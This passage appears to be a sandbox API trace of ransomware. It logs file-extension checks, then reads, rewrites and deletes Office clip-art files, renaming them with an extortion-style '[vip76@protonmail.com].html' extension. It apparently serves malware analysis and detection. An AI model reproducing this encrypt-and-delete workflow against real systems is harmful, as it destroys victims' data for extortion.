	[0084.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0084.909] lstrlenW (lpString=".doc") returned 4
	[0084.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.909] lstrlenW (lpString=".docx") returned 5
	[0084.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.909] lstrlenW (lpString=".pdf") returned 4
	[0084.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.909] lstrlenW (lpString=".xls") returned 4
	[0084.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.909] lstrlenW (lpString=".xlsx") returned 5
	[0084.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.909] lstrlenW (lpString=".ppt") returned 4
	[0084.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0084.910] lstrlenW (lpString=".zip") returned 4
	[0084.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.910] lstrlenW (lpString=".rar") returned 4
	[0084.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.910] lstrlenW (lpString=".bz2") returned 4
	[0084.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.910] lstrlenW (lpString=".7z") returned 3
	[0084.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0084.910] lstrlenW (lpString=".dbf") returned 4
	[0084.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0084.910] lstrlenW (lpString=".1cd") returned 4
	[0084.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0084.910] lstrlenW (lpString=".jpg") returned 4
	[0084.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.910] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.910] lstrlenW (lpString="DD01186_.WMF") returned 12
	[0084.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.911] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=8564) returned 1
	[0084.911] CloseHandle (hObject=0x384) returned 1
	[0084.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220
	[0084.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.911] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.911] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0084.911] GetLastError () returned 0x0
	[0084.912] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x2174, lpOverlapped=0x0) returned 1
	[0084.913] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x2180, lpOverlapped=0x0) returned 1
	[0084.914] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.914] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.914] SetEndOfFile (hFile=0x37c) returned 1
	[0084.915] CloseHandle (hObject=0x37c) returned 1
	[0084.915] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.915] SetEndOfFile (hFile=0x384) returned 1
	[0084.915] CloseHandle (hObject=0x384) returned 1
	[0084.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1
	[0084.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0084.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0084.916] lstrlenW (lpString=".doc") returned 4
	[0084.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.916] lstrlenW (lpString=".docx") returned 5
	[0084.916] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.916] lstrlenW (lpString=".pdf") returned 4
	[0084.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.916] lstrlenW (lpString=".xls") returned 4
	[0084.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.916] lstrlenW (lpString=".xlsx") returned 5
	[0084.916] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.916] lstrlenW (lpString=".ppt") returned 4
	[0084.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0084.916] lstrlenW (lpString=".zip") returned 4
	[0084.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.916] lstrlenW (lpString=".rar") returned 4
	[0084.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.917] lstrlenW (lpString=".bz2") returned 4
	[0084.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.917] lstrlenW (lpString=".7z") returned 3
	[0084.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0084.917] lstrlenW (lpString=".dbf") returned 4
	[0084.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0084.917] lstrlenW (lpString=".1cd") returned 4
	[0084.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0084.917] lstrlenW (lpString=".jpg") returned 4
	[0084.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0084.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0084.917] lstrlenW (lpString=".doc") returned 4
	[0084.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.917] lstrlenW (lpString=".docx") returned 5
	[0084.917] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.917] lstrlenW (lpString=".pdf") returned 4
	[0084.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.917] lstrlenW (lpString=".xls") returned 4
	[0084.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.917] lstrlenW (lpString=".xlsx") returned 5
	[0084.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.917] lstrlenW (lpString=".ppt") returned 4
	[0084.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0084.917] lstrlenW (lpString=".zip") returned 4
	[0084.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.918] lstrlenW (lpString=".rar") returned 4
	[0084.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.918] lstrlenW (lpString=".bz2") returned 4
	[0084.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.918] lstrlenW (lpString=".7z") returned 3
	[0084.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0084.918] lstrlenW (lpString=".dbf") returned 4
	[0084.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0084.918] lstrlenW (lpString=".1cd") returned 4
	[0084.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0084.918] lstrlenW (lpString=".jpg") returned 4
	[0084.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.918] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.918] lstrlenW (lpString="DD01366_.WMF") returned 12
	[0084.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.918] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=1768) returned 1
	[0084.918] CloseHandle (hObject=0x384) returned 1
	[0084.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220
	[0084.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.919] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.919] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0084.919] GetLastError () returned 0x0
	[0084.919] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x6e8, lpOverlapped=0x0) returned 1
	[0085.253] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x6f0, lpOverlapped=0x0) returned 1
	[0085.254] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.254] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.254] SetEndOfFile (hFile=0x37c) returned 1
	[0085.974] CloseHandle (hObject=0x37c) returned 1
	[0085.976] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.976] SetEndOfFile (hFile=0x384) returned 1
	[0085.977] CloseHandle (hObject=0x384) returned 1
	[0085.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0085.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1
	[0085.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0085.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0085.978] lstrlenW (lpString=".doc") returned 4
	[0085.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.978] lstrlenW (lpString=".docx") returned 5
	[0085.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.978] lstrlenW (lpString=".pdf") returned 4
	[0085.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.978] lstrlenW (lpString=".xls") returned 4
	[0085.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.978] lstrlenW (lpString=".xlsx") returned 5
	[0085.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.978] lstrlenW (lpString=".ppt") returned 4
	[0085.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0085.978] lstrlenW (lpString=".zip") returned 4
	[0085.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.978] lstrlenW (lpString=".rar") returned 4
	[0085.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.978] lstrlenW (lpString=".bz2") returned 4
	[0085.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.978] lstrlenW (lpString=".7z") returned 3
	[0085.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0085.979] lstrlenW (lpString=".dbf") returned 4
	[0085.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0085.979] lstrlenW (lpString=".1cd") returned 4
	[0085.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0085.979] lstrlenW (lpString=".jpg") returned 4
	[0085.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0085.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0085.979] lstrlenW (lpString=".doc") returned 4
	[0085.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.979] lstrlenW (lpString=".docx") returned 5
	[0085.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.979] lstrlenW (lpString=".pdf") returned 4
	[0085.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.979] lstrlenW (lpString=".xls") returned 4
	[0085.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.979] lstrlenW (lpString=".xlsx") returned 5
	[0085.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.979] lstrlenW (lpString=".ppt") returned 4
	[0085.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0085.979] lstrlenW (lpString=".zip") returned 4
	[0085.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.979] lstrlenW (lpString=".rar") returned 4
	[0085.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.979] lstrlenW (lpString=".bz2") returned 4
	[0085.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.979] lstrlenW (lpString=".7z") returned 3
	[0085.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0085.980] lstrlenW (lpString=".dbf") returned 4
	[0085.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0085.980] lstrlenW (lpString=".1cd") returned 4
	[0085.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0085.980] lstrlenW (lpString=".jpg") returned 4
	[0085.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.980] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0085.980] lstrlenW (lpString="DD01631_.WMF") returned 12
	[0085.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0085.981] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=552) returned 1
	[0085.981] CloseHandle (hObject=0x384) returned 1
	[0085.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220
	[0085.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0085.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0085.981] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.981] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0085.982] GetLastError () returned 0x0
	[0085.982] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x228, lpOverlapped=0x0) returned 1
	[0085.983] WriteFile (in: hFile=0x2c8, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x230, lpOverlapped=0x0) returned 1
	[0085.984] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.984] WriteFile (in: hFile=0x2c8, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.984] SetEndOfFile (hFile=0x2c8) returned 1
	[0085.984] CloseHandle (hObject=0x2c8) returned 1
	[0085.984] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.984] SetEndOfFile (hFile=0x384) returned 1
	[0085.985] CloseHandle (hObject=0x384) returned 1
	[0085.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0085.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1
	[0085.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0085.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0085.985] lstrlenW (lpString=".doc") returned 4
	[0085.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.985] lstrlenW (lpString=".docx") returned 5
	[0085.985] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.985] lstrlenW (lpString=".pdf") returned 4
	[0085.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.986] lstrlenW (lpString=".xls") returned 4
	[0085.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.986] lstrlenW (lpString=".xlsx") returned 5
	[0085.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.986] lstrlenW (lpString=".ppt") returned 4
	[0085.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0085.986] lstrlenW (lpString=".zip") returned 4
	[0085.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.986] lstrlenW (lpString=".rar") returned 4
	[0085.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.986] lstrlenW (lpString=".bz2") returned 4
	[0085.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.986] lstrlenW (lpString=".7z") returned 3
	[0085.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0085.986] lstrlenW (lpString=".dbf") returned 4
	[0085.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0085.986] lstrlenW (lpString=".1cd") returned 4
	[0085.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0085.986] lstrlenW (lpString=".jpg") returned 4
	[0085.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0085.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
